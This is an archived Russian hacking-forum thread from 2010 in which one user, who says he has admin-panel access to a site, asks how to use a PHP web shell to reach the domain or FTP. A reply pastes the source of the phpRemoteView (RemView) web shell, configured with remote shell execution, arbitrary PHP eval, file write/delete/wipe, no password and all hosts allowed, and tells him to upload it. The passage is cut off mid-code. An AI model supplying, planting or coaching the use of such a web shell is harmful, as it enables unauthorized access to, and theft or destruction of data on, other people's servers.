Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Шелл

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Программы для взлома] >> Шелл
Имя
Сообщение << Старые топики   Новые топики >>
Шелл - 2010-08-29 00:08:37.160000   
n1d1h

Сообщений: 39
Оценки: 0
Присоединился: 2010-07-22 13:52:04.643333
У меня есть доступ к админке сайта.Я хочу получить доступ к домену или фтп. Скачал шелл c99 на пыхе
как юзать не понимаю вообще подскажите что нить! гугл не катит
Post #: 1
RE: Шелл - 2010-08-29 02:21:14.796666   
n1d1h

Сообщений: 39
Оценки: 0
Присоединился: 2010-07-22 13:52:04.643333
up
Post #: 2
RE: Шелл - 2010-09-03 14:20:55   
Rezz

Сообщений: 307
Оценки: 0
Присоединился: 2009-09-04 11:21:33.213333
Исходный код шела remview(Очень легко юзать) Сохрани его в php файл.
quote:

&lt;?php

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
*
* Welcome to phpRemoteView (RemView)
*
* View/Edit remove file system:
* - view index of directory (/var/log - view logs, /tmp - view PHP sessions)
* - view name, size, owner:group, perms, modify time of files
* - view html/txt/image/session files
* - download any file and open on Notepad
* - create/edit/delete file/dirs
* - executing any shell commands and any PHP-code
*
* Free download from http://php.spb.ru/remview/
* Version 04c, 2003-10-23.
* Please, report bugs…
*
* This programm for Unix/Windows system and PHP4 (or higest).
*
* © Dmitry Borodin, dima@php.spb.ru, http://php.spb.ru
*
* * * * * * * * * * * * * * * * * WHATS NEW * * * * * * * * * * * * * * * *
*
* –version4–
* 2003.10.23 support short &lt;?php ?&gt; tags, thanks A.Voropay
*
* 2003.04.22 read first 64Kb of null-size file (example: /etc/zero),
* thanks Anight
* add many functions/converts: md5, decode md5 (pass crack),
* date/time, base64, translit, russian charsets
* fix bug: read session files
*
* 2002.08.24 new design and images
* many colums in panel
* sort & setup panel
* dir tree
* base64 encoding
* character map
* HTTP authentication with login/pass
* IP-address authentication with allow hosts
*
* –version3–
* 2002.08.10 add multi language support (english and russian)
* some update
*
* 2002.08.05 new: full windows support
* fix some bugs, thanks Jeremy Flinston
*
* 2002.07.31 add file upload for create files
* add 'direcrory commands'
* view full info after safe_mode errors
* fixed problem with register_glogals=off in php.ini
* fixed problem with magic quotes in php.ini (auto strip slashes)
*
* –version2–
* 2002.01.20 add panel 'TOOLS': eval php-code and run shell commands
* add panel 'TOOLS': eval php-code and run shell commands
* add copy/edit/create file (+panel 'EDIT')
* add only-read mode (disable write/delete and PHP/Shell)
*
* 2002.01.19 add delete/touch/clean/wipe file
* add panel 'INFO', view a/c/m-time, hexdump view
* add session file view mode (link 'SESSION').
*
* 2002.01.12 first version!
*
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

///////////////////////////////// S E T U P ///////////////////////////////////


$version="2003-10-23";

$hexdump_lines=8; // lines in hex preview file
$hexdump_rows=24; // 16, 24 or 32 bytes in one line

$mkdir_mode=0755; // chmode for new dir ('MkDir' button)

$maxsize_fread=65536; // read first 64Kb from any null-size file

// USER ACCESS //

$write_access=true; // true - user (you) may be write/delete files/dirs
// false - only read access

$phpeval_access=true; // true - user (you) may be execute any php-code
// false - function eval() disable

$system_access=true; // true - user (you) may be run shell commands
// false - function system() disable

// AUTHORIZATION //

$login=false; // Login & password for access to this programm.
$pass=false; // Example: $login="MyLogin"; $pass="MyPaSsWoRd";
// Type 'login=false' for disable authorization.

$host_allow=array("*"); // Type list of your(allow) hosts. All other - denied.
// Example: $host_allow=array("127.0.0.*","localhost")


///////////////////////////////////////////////////////////////////////////////


$tmp=array();
foreach ($host_allow as $k=&gt;$v)
$tmp[]=str_replace("\\*",".*",preg_quote($v));
$s="!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) && !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR"))))
exit("&lt;h1&gt;&lt;a href=http://php.spb.ru/remview/&gt;phpRemoteView&lt;/a&gt;: Access Denied - your host not allow&lt;/h1&gt;\n");
if ($login!==false && (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) ||
$HTTP_SERVER_VARS['PHP_AUTH_USER']!=$login || $HTTP_SERVER_VARS['PHP_AUTH_PW']!=$pass)) {
header("WWW-Authenticate: Basic realm=\"phpRemoteView\"");
header("HTTP/1.0 401 Unauthorized");
exit("&lt;h1&gt;&lt;a href=http://php.spb.ru/remview/&gt;phpRemoteView&lt;/a&gt;: Access Denied - password erroneous&lt;/h1&gt;\n");
}

error_reporting(2047);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
if (function_exists("ob_start") && (!isset($c) || $c!="md5crack")) ob_start("ob_gzhandler");

$self=basename($HTTP_SERVER_VARS['PHP_SELF']);

$url="http://".getenv('HTTP_HOST').
(getenv('SERVER_PORT')!=80 ? ":".getenv('SERVER_PORT') : "").
$HTTP_SERVER_VARS['PHP_SELF'].
(getenv('QUERY_STRING')!="" ? "?".getenv('QUERY_STRING') : "");
$uurl=urlencode($url);

//
// antofix 'register globals': $HTTP_GET/POST_VARS -&gt; normal vars;
//
$autovars1="c d f php skipphp pre nlbr xmp htmls shell skipshell pos ".
"ftype fnot c2 confirm text df df2 df3 df4 ref from to ".
"fatt showfile showsize root name ref names sort sortby ".
"datetime fontname fontname2 fontsize pan limit convert fulltime fullqty";
foreach (explode(" ",$autovars1) as $k=&gt;$v) {
if (isset($HTTP_POST_VARS[$v])) $$v=$HTTP_POST_VARS[$v];
elseif (isset($HTTP_GET_VARS[$v])) $$v=$HTTP_GET_VARS[$v];
//elseif (isset($HTTP_COOKIE_VARS[$v])) $$v=$HTTP_COOKIE_VARS[$v];
}

//
// autofix 'magic quotes':
//
$autovars2="php shell text d root convert";
if (get_magic_quotes_runtime() || get_magic_quotes_gpc()) {
foreach (explode(" ",$autovars2) as $k=&gt;$v) {
if (isset($$v)) $$v=stripslashes($$v);
}
}

$cp_def=array(
"001001",
"nst2ac",
"d/m/y H:i",
"Tahoma",
"9"
);

$panel=0;
if (isset($HTTP_COOKIE_VARS["cp$panel"]))
$cp=explode("~",$HTTP_COOKIE_VARS["cp$panel"]);
else
$cp=$cp_def;
$cc=$cp[0];
$cn=$cp[1];

/*

$cc / $cp[0]- список однобуквенных параметров, скопировано в $cs:
$cc[0] - по какой колонке сортировать, а если это не цифра:
n - по имени
e - расширение
$cc[1] - порядок (0 - возраст. 1 - убывающий)
$cc[2] - показывать ли иконки
$cc[3] - что делать при клике по иконке файла:
0 - просмотр в text/plain
1 - просмотр в html
2 - download
3 - параметры файла (info)
$cc[4] - округлять размер файлов до Кб/Мб/Гб
$cc[5] - язык:
1 - английский
2 - русски

$cn / $cp[1] - список колонок и их порядок, которые показывать, строка букв/цифр:
t - type
n - name
s - size
a - owner+group
o - owner
g - group
c - chmod
1 - create time
2 - modify time
3 - access time

$cp[2]: формат времени

$cp[3]: имя шрифта

$cp[4]: размер шрифта

*/

// Как выравнивать колонки
$cn_align=array();
$cn_align['t']='center';
$cn_align['n']='left';
$cn_align['s']='right';
$cn_align['a']='center';
$cn_align['o']='center';
$cn_align['g']='center';
$cn_align['c']='center';
$cn_align['1']='center';
$cn_align['2']='center';
$cn_align['3']='center';


///////////////////////////////////////////////////////////////////////////////


/*–mmstart–*/
$mm=array(
"Index of"=&gt;"Индекс",
"View file"=&gt;"Показ файла",
"DISK"=&gt;"ДИСК",
"Info"=&gt;"Инфо",
"Plain"=&gt;"Прямой",
"HTML"=&gt;"HTML",
"Session"=&gt;"Сессия",
"Image"=&gt;"Картинка",
"Notepad"=&gt;"Блокнот",
"DOWNLOAD"=&gt;"ЗАГРУЗИТЬ",
"Edit"=&gt;"Правка",
"Sorry, this programm run in read-only mode."=&gt;"Извините, эта программа работает в режиме 'только чтение'.",
"For full access: write"=&gt;"Для полного доступа: напишите",
"in this php-file"=&gt;"в этом php-файле",
"Reason"=&gt;"Причина",
"Error path"=&gt;"Ошибочный путь",
"Click here for start"=&gt;"Нажмите для старта",
"up directory"=&gt;"каталог выше",
"access denied"=&gt;"доступ запрещен",
"REMVIEW TOOLS"=&gt;"УТИЛИТЫ REMVIEW",
"version"=&gt;"версия",
"Free download"=&gt;"Бесплатная загрузка",
"back to directory"=&gt;"вернуться в каталог",
"Size"=&gt;"Размер",
"Owner"=&gt;"Овнер",
"Group"=&gt;"Группа",
"FileType"=&gt;"Тип файла",
"Perms"=&gt;"Права",
"Create time"=&gt;"Время создания",
"Access time"=&gt;"Время доступа",
"MODIFY time"=&gt;"Время ИЗМЕНЕНИЯ",
"HEXDUMP PREVIEW"=&gt;"ПРЕДПРОСМОТР В 16-РИЧНОМ ВИДЕ",
"ONLY READ ACCESS"=&gt;"ДОСТУП ТОЛЬКО НА ЧТЕНИЕ",
"Can't READ file - access denied"=&gt;"Не могу прочитать - доступ запрещен",
"full read/write access"=&gt;"полный доступ на чтение/запись",
"FILE SYSTEM COMMANDS"=&gt;"КОМАНДЫ ФАЙЛОВОЙ СИСТЕМЫ",
"EDIT"=&gt;"РЕДАКТ.",
"FILE"=&gt;"ФАЙЛ",
"DELETE"=&gt;"СТЕРЕТЬ",
"Delete this file"=&gt;"Стереть файл",
"CLEAN"=&gt;"ОЧИСТИТЬ",
"TOUCH"=&gt;"ОБНОВИТЬ",
"Set current 'mtime'"=&gt;"Устан.текущ.время",
"WIPE(delete)"=&gt;"УНИЧТОЖИТЬ",
"Write '0000..' and delete"=&gt;"Забить нулями, стереть",
"COPY FILE"=&gt;"КОПИРОВАТЬ ФАЙЛ",
"COPY"=&gt;"КОПИРОВАТЬ",
"MAKE DIR"=&gt;"СОЗДАТЬ КАТАЛОГ",
"type full path"=&gt;"введите полный путь",
"MkDir"=&gt;"Созд.Кат.",
"CREATE NEW FILE or override old file"=&gt;"СОЗДАТЬ НОВЫЙ ФАЙЛ или перезаписать старый",
"CREATE/OVERRIDE"=&gt;"СОЗДАТЬ/ПЕРЕЗАПИСАТЬ",
"select file on your local computer"=&gt;"выбрать файл на вашем локальном компьютере",
"save this file on path"=&gt;"сохранить этот файл в каталог",
"create file name automatic"=&gt;"придумать имя файлу автоматически",
"OR"=&gt;"ИЛИ",
"type any file name"=&gt;"ввести имя файла вручную",
"convert file name to lovercase"=&gt;"конвертировать имя в нижний регистр",
"Send File"=&gt;"Послать файл",
"Delete all files in dir"=&gt;"Удалить все файлы",
"Delete all dir/files recursive"=&gt;"Удалить ВСЕ +подкаталоги рекурсивно",
"Confirm not found (go back and set checkbox)"=&gt;"Подтверждение не поставлено (вернитесь назад и поставьте галочку)",
"Delete cancel - File not found"=&gt;"Удаление отменено - Файл не найден",
"YES"=&gt;"ДА",
"ME"=&gt;"МЕНЯ",
"NO (back)"=&gt;"НЕТ (назад)",
"Delete cancel"=&gt;"Удаление отменено",
"ACCESS DENIED"=&gt;"ДОСТУП ЗАПРЕЩЕН",
"done (go back)"=&gt;"готово (назад)",
"Delete ok"=&gt;"Ок, удаленно",
"Touch cancel"=&gt;"Обновление отменено",
"Touch ok (set current time to 'modify time')"=&gt;"Обновление завершено (файлу присвоено текущее время модификации)",
"Clean (empty file) cancel"=&gt;"Очищение (обнуление файла) отменено",
"Clean ok (file now empty)"=&gt;"Ок, очищено (файл обнулен)",
"Wipe cancel - access denied"=&gt;"Уничтожение отменено - доступ запрещен",
"Wipe ok (file deleted)"=&gt;"Ок, уничтожено (и файл стерт)",
"DIR"=&gt;"DIR",
"Deleting all files in"=&gt;"Удаление всех файлов в",
"skip"=&gt;"пропуск",
"deleting"=&gt;"удаление",
"Deleting all dir/files (recursive) in"=&gt;"Удаление всех файлов/подкаталогов (рекурсивно)",
"DONE, go back"=&gt;"ГОТОВО, назад",
"DONE"=&gt;"ГОТОВО",
"file not found"=&gt;"файл не найден",
"ONLY READ ACCESS (don't edit!)"=&gt;"ДОСТУП ТОЛЬКО НА ЧТЕНИЕ (не редактировать)",
"Can't READ file - access denied (don't edit!)"=&gt;"Не могу ЧИТАТЬ файл - доступ запрещен",
"EDIT FILE"=&gt;"ПРАВИТЬ ФАЙЛ",
"can't open, access denied"=&gt;"не могу открыть, доступ запрещен",
"SAVE FILE (write to disk)"=&gt;"СОХРАНИТЬ ФАЙЛ (запись на диск)",
"You mast checked 'create file name automatic' OR typed file name!"=&gt;"Вы должны отметить галочку [создать файл автоматически] или ввести в поле имя файла!'",
"SAVING TO"=&gt;"СОХРАНИТЬ В",
"Sorry, access denied"=&gt;"Извините, доступ запрещен",
"for example, uncomment next line"=&gt;"для примера, раскомментируйте следующую строку",
"Eval PHP code"=&gt;"Выполнить PHP код",
"don't type"=&gt;"не пишите",
"and"=&gt;"и",
"example (remove comments '#')"=&gt;"пример (удалите комментарии '#')",
"Shell commands"=&gt;"Команды Shell'a",
"filesize to 0byte"=&gt;"размер в 0 байт",
"from"=&gt;"от",
"to"=&gt;"в",
"Full file name"=&gt;"Полное имя файла",
"Can't open directory"=&gt;"Не могу открыть каталог",
"setup"=&gt;"настройка",
"back"=&gt;"назад",
"Reset all settings"=&gt;"Сбросить все настройки",
"clear"=&gt;"очистить",
"Current"=&gt;"Текущие",
"Colums and sort"=&gt;"Колонки и сортировка",
"Sort order"=&gt;"Порядок сортировки",
"Ascending sort"=&gt;"По возрастанию",
"Descending sort"=&gt;"По убыванию",
"Sort by filename"=&gt;"Сортировать по имени файла",
"Sort by filename extension"=&gt;"Сортировать по расширению файла",
"Date/time format"=&gt;"Формат даты/времени",
"Panel font & size"=&gt;"Шрифт/размер панели",
"Setup"=&gt;"Опции",
"Char map"=&gt;"Символы",
"Language"=&gt;"Язык",
"English"=&gt;"Английский",
"Russian"=&gt;"Русский",
"Character map (symbol codes table)"=&gt;"Таблица символов",
"Select font"=&gt;"Выберите шрифт",
"or type other"=&gt;"или введите другой",
"Font size"=&gt;"Размер шрифта",
"Code limit"=&gt;"Дипазон кодов",
"Generate table"=&gt;"Сгенерировать таблицу",
"Universal convert"=&gt;"Универсальные конвертации"
);/*–mmstop–*/




$language=$cc[5];
if ($language!=1 && $language!=2) $language=1;


function mm($m) {
global $mm,$language;
if ($language==1) return $m;
if (isset($mm[$m])) return $mm[$m];
else echo "&lt;script&gt;alert('(mm) msg not found: $m');&lt;/script&gt;";
}


switch ($language) {
case 1:
$cn_name=array(
't'=&gt;"Type",
'n'=&gt;"Name",
's'=&gt;"Size",
'o'=&gt;"Owner",
'g'=&gt;"Group",
'a'=&gt;"Owner/Group",
'c'=&gt;"Perms",
'1'=&gt;"Create",
'2'=&gt;"Modify",
'3'=&gt;"Access"
);
break;
case 2:
$cn_name=array(
't'=&gt;"Тип",
'n'=&gt;"Имя",
's'=&gt;"Размер",
'o'=&gt;"Владелец",
'g'=&gt;"Группа",
'a'=&gt;"Владелец/Группа",
'c'=&gt;"Права",
'1'=&gt;"Создан",
'2'=&gt;"Изменен",
'3'=&gt;"Доступ"
);
break;
}




///////////////////////////////////////////////////////////////////////////////



$rand=microtime();

if (!isset($c)) $c="";
if (!isset($d)) $d="";
if (!isset($f)) $f="";

ob();
$d=str_replace("\\","/",$d);
if ($d=="") $d=realpath("./")."/";
if ($c=="") $c="l";
if ($d[strlen($d)-1]!="/") $d.="/";
$d=str_replace("\\","/",$d);
if (!is_dir($d)) obb().die("&lt;h3&gt;&lt;P&gt;".mm("Can't open directory")." &lt;tt&gt;&lt;font color=red&gt;&lt;big&gt;$d&lt;/big&gt;&lt;/font&gt;&lt;/tt&gt;$obb");
if (!realpath($d) || filetype($d)!="dir") obb().die("error dir type $obb");
obb();

//
// OS detect:
//
$win=0;
$unix=0;
if (strlen($d)&gt;1 && $d[1]==":") $win=1; else $unix=1;




///////////////////////////////////////////////////////////////////////////////


$html=&lt;&lt;&lt;remview
&lt;html&gt;&lt;head&gt;
&lt;title&gt;phpRemoteView: $d$f&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;style&gt;
A {
text-decoration : none;
}
.t {
font-size: 9pt;
text-align : center;
font-family: Verdana;
}
.t2 {
font-size: 8pt;
text-align : center;
font-family: Verdana;
}
.n {
font-family: Fixedsys
}
.s {
font-size: 10pt;
text-align : right;
font-family: Verdana;
}
.sy {
font-family: Fixedsys;
}
.s2 {
font-family: Fixedsys;
color: red;
}
.tab {
font-size: 10pt;
text-align : center;
font-family: Verdana;
background: #cccccc;
}
.tr {
background: #ffffff;
}
&lt;/style&gt;
remview;



function display_perms($mode)
{
if ($GLOBALS['win']) return 0;
/* Determine Type */
if( $mode & 0x1000 )
$type='p'; /* FIFO pipe */
else if( $mode & 0x2000 )
$type='c'; /* Character special */
else if( $mode & 0x4000 )
$type='d'; /* Directory */
else if( $mode & 0x6000 )
$type='b'; /* Block special */
else if( $mode & 0x8000 )
$type='-'; /* Regular */
else if( $mode & 0xA000 )
$type='l'; /* Symbolic Link */
else if( $mode & 0xC000 )
$type='s'; /* Socket */
else
$type='u'; /* UNKNOWN */

/* Determine permissions */
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';

/* Adjust for SUID, SGID and sticky bit */
if( $mode & 0x800 )
$owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
if( $mode & 0x400 )
$group["execute"] = ($group['execute']=='x') ? 's' : 'S';
if( $mode & 0x200 )
$world["execute"] = ($world['execute']=='x') ? 't' : 'T';

$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
return trim($s);
}

function _posix_getpwuid($x) {
if ($GLOBALS['win']) return array();
return @posix_getpwuid($x);
}

function _posix_getgrgid($x) {
if ($GLOBALS['win']) return array();
return @posix_getgrgid($x);
}

function up($d,$f="",$name="") {
global $self,$win;

$len=strlen($d."/".$f);
if ($len&lt;70) { $sf1="&lt;font size=4&gt;"; $sf2="&lt;font size=5&gt;"; }
elseif ($len&lt;90) {$sf1="&lt;font size=3&gt;"; $sf2="&lt;font size=4&gt;";}
else {$sf1="&lt;font size=2&gt;"; $sf2="&lt;font size=3&gt;";}

echo "&lt;table width=100% border=0 cellspacing=0 cellpadding=4&gt;&lt;tr&gt;&lt;td
bgcolor=#cccccc&gt; $sf1";

$home="&lt;a href='$self'&gt;&lt;font face=fixedsys size=+2&gt;*&lt;/font&gt;&lt;/a&gt;";
echo $home.$sf2."&lt;b&gt;";
if ($name!="") echo $name;
else {
if ($f=="") echo mm("Index of");
else echo mm("View file");
}
echo "&lt;/b&gt;&lt;/font&gt; ";

$path=explode("/",$d);

$rootdir="/";
if ($win) $rootdir=strtoupper(substr($d,0,2))."/";

$ss="";
for ($i=0; $i&lt;count($path)-1; $i++) {
if ($i==0)
$comm="&lt;b&gt;&nbsp;&nbsp;&lt;big&gt;&lt;b&gt;$rootdir&lt;/b&gt;&lt;/big&gt;&lt;/b&gt;";
else
$comm="$path[$i]&lt;big&gt;&lt;b&gt;/&lt;/big&gt;&lt;/b&gt;";

$ss.=$path[$i]."/";
echo "&lt;a href='$self?c=l&d=".urlencode($ss)."'&gt;$comm&lt;/a&gt;";
if ($i==0 && $d=="/") break;
}
echo "&lt;/font&gt;";
if ($f!="") echo "$sf1$f&lt;/font&gt;";

if ($win && strlen($d)&lt;4 && $f=="") {
echo " &nbsp; ".mm("DISK").": ";
for ($i=ord('a'); $i&lt;=ord('z'); $i++) {
echo "&lt;a href=$self?c=l&d=".chr($i).":/&gt;".strtoupper(chr($i)).":&lt;/a&gt; ";
}
}

echo "&lt;/b&gt;&lt;/big&gt;&lt;/td&gt;&lt;td bgcolor=#999999 width=1% align=center&gt;
&lt;table width=100% border=0 cellspacing=3 cellpadding=0
bgcolor=#ffffcc&gt;&lt;tr&gt;&lt;td align=center&gt;&lt;font size=-1&gt;&lt;nobr&gt;&lt;b&gt;&lt;a
href=$self?c=t&d=".urlencode($d)."&gt;".mm("REMVIEW TOOLS")."&lt;/a&gt;&lt;/b&gt;
&lt;/nobr&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;";
}


function up_link($d,$f) {
global $self;
$notepad=str_replace(".","_",$f).".txt";
echo "&lt;small&gt;
[&lt;a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f)."&gt;&lt;b&gt;".mm("Info")."&lt;/b&gt;&lt;/a&gt;]
[&lt;a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=&gt;&lt;b&gt;".mm("Plain")."&lt;a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=0&fnot=1&gt;(+)&lt;/a&gt;&lt;/b&gt;&lt;/a&gt;]
[&lt;a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=1&gt;&lt;b&gt;".mm("HTML")."&lt;a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=1&fnot=1&gt;(+)&lt;/a&gt;&lt;/b&gt;&lt;/a&gt;]
[&lt;a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=4&gt;&lt;b&gt;".mm("Session")."&lt;/b&gt;&lt;/a&gt;]
[&lt;a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=2&fnot=1&gt;&lt;b&gt;".mm("Image")."&lt;/b&gt;&lt;/a&gt;]
[&lt;a href=$self/".urlencode($notepad)."?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=3&fnot=1&fatt=".urlencode($notepad)."&gt;&lt;b&gt;".mm("Notepad")."&lt;/b&gt;&lt;/a&gt;]
[&lt;a href=$self/".urlencode($f)."?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=3&fnot=1&gt;&lt;b&gt;".mm("DOWNLOAD")."&lt;/b&gt;&lt;/a&gt;]
[&lt;a href=$self?c=e&d=".urlencode($d)."&f=".urlencode($f)."&gt;&lt;b&gt;".mm("Edit")."&lt;/b&gt;&lt;/a&gt;]
&lt;/small&gt;";
}


function exitw() {
exit("&lt;table width=100% border=0 cellspacing=2 cellpadding=0 bgcolor=#ffdddd&gt;
&lt;tr&gt;&lt;td align=center&gt;
".mm("Sorry, this programm run in read-only mode.")."&lt;br&gt;
".mm("For full access: write")." `&lt;tt&gt;&lt;nobr&gt;&lt;b&gt;\$write_access=&lt;u&gt;true&lt;/u&gt;;&lt;/b&gt;&lt;/nobr&gt;&lt;/tt&gt;`
".mm("in this php-file").".&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
");
}



function ob() {
global $obb_flag, $obb;
if (!isset($obb_flag)) { $obb_flag=0; $obb=false; }
if (function_exists("ob_start")) {
if ($GLOBALS['obb_flag']) ob_end_clean();
ob_start();
$GLOBALS['obb_flag']=1;
}
}

function obb() {
global $obb;
if (function_exists("ob_start")) {
$obb=ob_get_contents();
ob_end_clean();
$obb="&lt;P&gt;
&lt;table bgcolor=#ff0000 width=100% border=0 cellspacing=1 cellpadding=0&gt;&lt;tr&gt;&lt;td&gt;
&lt;table bgcolor=#ccccff width=100% border=0 cellspacing=0 cellpadding=3&gt;&lt;tr&gt;&lt;td align=center&gt;
&lt;b&gt;".mm("Reason").":&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;
&lt;table bgcolor=#ffcccc width=100% border=0 cellspacing=0 cellpadding=3&gt;&lt;tr&gt;&lt;td&gt;
$obb&lt;P&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/table&gt;&lt;P&gt;";
$GLOBALS['obb_flag']=0;
}
}

function sizeparse($size) {
return strrev(preg_replace("!…!","\\0 ",strrev($size)));
}


function jsval($msg) {
$msg=str_replace("\\","\\\\",$msg);
$msg=str_replace("\"","\\\"",$msg);
$msg=str_replace("'","\\'",$msg);
return '"'.$msg.'",';
}



///////////////////////////////////////////////////////////////////////////


switch($c) {


// listing
case "l":

echo $GLOBALS['html'];

if (!realpath($d)) die("".mm("Error path").". &lt;a href=$self&gt;".mm("Click here for start")."&lt;/a&gt;.");

//up($d);

ob();
$di=dir($d);
obb();

$dirs=array();
$files=array();

if (!$di) exit("&lt;a href=$self?&c=l&d=".urlencode(realpath($d."..")).
"&gt;&lt;nobr&gt;&lt;&lt;&lt; &lt;b&gt;".mm("up directory")."&lt;/b&gt; &gt;&gt;&gt;&lt;/nobr&gt;&lt;/a&gt; &lt;p&gt;".
"&lt;font color=red&gt;&lt;b&gt;".mm("access denied")."&lt;/b&gt;&lt;/font&gt;: $obb");
while (false!==($name=$di-&gt;read())) {
if ($name=="." || $name=="..") continue;
if (@is_dir($d.$name)) {
$dirs[]=strval($name);
$fstatus[$name]=0;
}
else {
$files[]=strval($name);
$fstatus[$name]=1;
}
$fsize[$name]=@filesize($d.$name);
$ftype[$name]=@filetype($d.$name);
if (!is_int($fsize[$name])) { $ftype[$name]='?'; $fstatus[$name]=1; }
$fperms[$name]=@fileperms($d.$name);
$fmtime[$name]=@filemtime($d.$name);
$fatime[$name]=@fileatime($d.$name);
$fctime[$name]=@filectime($d.$name);
$fowner[$name]=@fileowner($d.$name);
$fgroup[$name]=@filegroup($d.$name);
if (preg_match("!^[^.].*\.([^.]+)$!",$name,$ok))
$fext[$name]=strtolower($ok[1]);
else
$fext[$name]="";
}
$di-&gt;close();

$listsort=array();
if (count($dirs))
foreach ($dirs as $v) {
switch ($cc[0]) {
case "e": $listsort[$v]=$fext[$v].' '.$v; break;
case "n": $listsort[$v]=strtolower($v); break;
default:
switch ($cn[$cc[0]]) {
case "t": case "s": case "n": $listsort[$v]=strtolower($v); break;
case "o": $listsort[$v]=$fowner[$v]; break;
case "g": $listsort[$v]=$fgroup[$v]; break;
case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break;
case "c": $listsort[$v]=$fperms[$v]; break;
case "1": $listsort[$v]=$fctime[$v]; break;
case "2": $listsort[$v]=$fmtime[$v]; break;
case "3": $listsort[$v]=$fatime[$v]; break;

}
}
}

$names=$listsort;
//echo "&lt;pre&gt;";print_r($names);
if ($cc[1]) arsort($names); else asort($names);
//echo "&lt;pre&gt;";print_r($names);

$listsort=array();
if (count($files))
foreach ($files as $v) {
$v=strval($v);
switch ($cc[0]) {
case "e": $listsort[$v]=$fext[$v].' '.$v; break;
case "n": $listsort[$v]=strtolower($v); break;
default:
switch ($cn[$cc[0]]) {
case "n": $listsort[$v]=strtolower($v); break;
case "t": $listsort[$v]=$ftype[$v]; break;
case "s": $listsort[$v]=$fsize[$v]; break;
case "o": $listsort[$v]=$fowner[$v]; break;
case "g": $listsort[$v]=$fgroup[$v]; break;
case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break;
case "c": $listsort[$v]=$fperms[$v]; break;
case "1": $listsort[$v]=$fctime[$v]; break;
case "2": $listsort[$v]=$fmtime[$v]; break;
case "3": $listsort[$v]=$fatime[$v]; break;

}
}
}


//echo "&lt;pre&gt;DIRS:"; print_r($names);
if ($cc[1]) arsort($listsort); else asort($listsort);
//$names=array_merge($names,$listsort);
foreach ($listsort as $k=&gt;$v) $names[$k]=$v;
//echo "&lt;pre&gt;FILES:"; print_r($listsort);
//echo "&lt;pre&gt;NAMES:"; print_r($names);

?&gt;
&lt;STYLE&gt;
.title {
color: 'black';
background: #D4D0C8;
text-align: 'center';
BORDER-RIGHT: #888888 1px outset;
BORDER-TOP: #ffffff 2px outset;
BORDER-LEFT: #ffffff 1px outset;
BORDER-BOTTOM: #888888 1px outset;
}
.window {
BORDER-RIGHT: buttonhighlight 2px outset;
BORDER-TOP: buttonhighlight 2px outset;
BORDER-LEFT: buttonhighlight 2px outset;
BORDER-BOTTOM: buttonhighlight 2px outset;
FONT: 8pt Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif;
BACKGROUND-COLOR: #D4D0C8;
CURSOR: default;
}
.window1 {
BORDER-RIGHT: #eeeeee 1px solid;
BORDER-TOP: #808080 1px solid;
BORDER-LEFT: #808080 1px solid;
BORDER-BOTTOM: #eeeeee 1px solid;
FONT: 8pt Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif;
}
.line {
BORDER-RIGHT: #cccccc 1px solid;
BORDER-TOP: #ffffff 1px solid;
BORDER-LEFT: #ffffff 1px solid;
BORDER-BOTTOM: #cccccc 1px solid;
font: &lt;?php echo $cp[4]; ?&gt;pt &lt;?php echo $cp[3]; ?&gt;;
}
.line2 {
background: #ffffcc;
}
.black {color: black}
a:link.black {color: black}
a:active.black {color: black}
a:visited.black {color: black}
a:hover.black {color: #0000ff}

.white {color: white}
a:link.white{color: white}
a:active.white{color: white}
a:visited.white{color: white}
a:hover.white{color: #ffff77}

a:link {color: #000099;}
a:active {color: #000099;}
a:visited {color: #990099;}
a:hover {color: #ff0000;}
a {
CURSOR: default;
}
.windowtitle {
font: 9pt; Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif;
font-weight: bold;
color: white;
}
.sym {
font: 14px Wingdings;
}
&lt;/STYLE&gt;

&lt;?php

function up2($d) {
global $win,$self;
$d=str_replace("\\","/",$d);
if (substr($d,-1)!="/") $d.="/";
